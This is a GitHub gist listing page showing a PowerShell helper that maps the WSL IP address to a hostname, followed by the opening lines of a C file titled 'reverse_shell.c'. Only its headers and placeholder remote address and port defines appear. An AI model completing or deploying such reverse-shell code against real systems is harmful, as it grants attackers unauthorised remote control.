Skip to content

Instantly share code, notes, and snippets.

View n0b0dyCN's full-sized avatar
💭
Finding a life goal

n0b0dy n0b0dyCN

💭
Finding a life goal
View GitHub Profile
@n0b0dyCN
n0b0dyCN / wsl_addr.ps1
Created September 26, 2019 05:44
Access wsl with hostname `wsl.local`
$out = bash.exe -c "ip addr show eth0 | grep 'inet '";
$found = $out -match '\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}';
$host_file = "C:\Windows\System32\drivers\etc\hosts"
if ($found) {
$wsl_ip = $matches[0] ;
} else {
exit;
}
@n0b0dyCN
n0b0dyCN / reverse_shell.c
Created July 9, 2019 03:46 — forked from 0xabe-io/reverse_shell.c
Simple C code to create a reverse shell
/* credits to http://blog.techorganic.com/2015/01/04/pegasus-hacking-challenge/ */
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#define REMOTE_ADDR "XXX.XXX.XXX.XXX"
#define REMOTE_PORT XXX